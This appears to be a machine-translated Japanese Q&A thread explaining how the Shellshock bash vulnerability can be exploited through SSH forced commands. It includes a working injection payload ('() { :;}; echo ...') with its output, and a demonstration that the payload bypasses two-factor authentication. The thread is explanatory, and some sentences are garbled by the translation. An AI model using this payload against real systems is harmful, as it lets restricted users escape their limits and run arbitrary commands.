明らかにShellshock BashエクスプロイトはCVE-2014-6271SSHを介してネットワーク経由で悪用される可能性があります。この脆弱性はApache / CGIを介してどのように機能するか想像できますが、SSHを介してどのように機能するか想像できません。
SSHがどのように悪用され、これがシステムにどのような害を及ぼすかについての例を提供できますか?
言う
AFAIU、認証されたユーザーだけがSSHを介してこの脆弱性を悪用する可能性があります。この脆弱性は、システムへの正当なアクセス権を持つ人にどのように使用されますか?私の言うことは、このバグには特権の昇格がないので(彼はルートになることはできません)、SSHを介して合法的にログインした場合にのみできることができるということです。
答え1
これを悪用する1つの例は、authorized_keys
強制コマンドを持つサーバーです。に項目を追加するときにSSH公開鍵を使用するときは、その項目が強制的に実行されるようにその~/.ssh/authorized_keys
行の接頭辞を付けることができます。この脆弱性は、ターゲットユーザーがシェルです。command="foo"
foo
bash
これは例でより意味がある可能性があるため、例は次のとおりです。
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
testuser
ここでは、SSHキーを使用してSSH接続を強制するユーザーを設定しますecho starting sleep; sleep 1
。
次の方法でテストできます。
$ ssh testuser@localhost echo something else
starting sleep
コマンドはecho something else
実行されませんでしたが、starting sleep
show force コマンドは実行されました。
次に、この脆弱性の使用方法を紹介します。
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
これは、環境変数が渡されたコマンドにsshd
設定されているために機能します。SSH_ORIGINAL_COMMAND
したがって、私が話しているコマンドの代わりにsshd
runを使用しても、エクスプロイトのためにコードが実行され続けます。sleep
答え2
Rameshの拡張例 - 2段階認証プロセスを使用している場合は、実装方法に応じてこの脆弱性を使用して2番目の要素を迂回する可能性があります。
— 正常にログイン —
[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login
Enter a passcode or select one of the following options:
1. Duo Push to XXX-XXX-XXXX
2. Phone call to XXX-XXX-XXXX
3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)
Passcode or option (1-3): 1
Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout
- 2FAなしでコードを実行 -
[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE
2FAを要求せずにコードを実行することを確認できます。
— Bash パッチの後 —
[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
答え3
ShellshockはSSHではなくbashの脆弱性です。これを悪用するには、攻撃者は脆弱なシステムでbashを実行し、bashに渡される環境変数の値を制御する必要があります。
SSHを介してbashプロセスにアクセスするには、攻撃者は認証フェーズを通過する必要があります。 (他のネットワークサービスを介して攻撃ベクトルが存在する可能性がありますが、このスレッドの範囲外です)。この脆弱性は、アカウントが特定のコマンドを実行できないように制限されている場合に機能します(SFTPアカウントのみ、gitアカウントのみなど)。
SSHを使用してアカウントが特定のコマンドを実行できないように制限する方法はいくつかあります。ForceCommand
のオプションを使用するsshd_config
か。 Shellshockの脆弱性は通常、制限されたアカウントにのみアクセスできるユーザーが制限を回避し、ユーザーのシェルがbashの場合に任意のコマンドを実行できるようにします。command=
authorized_keys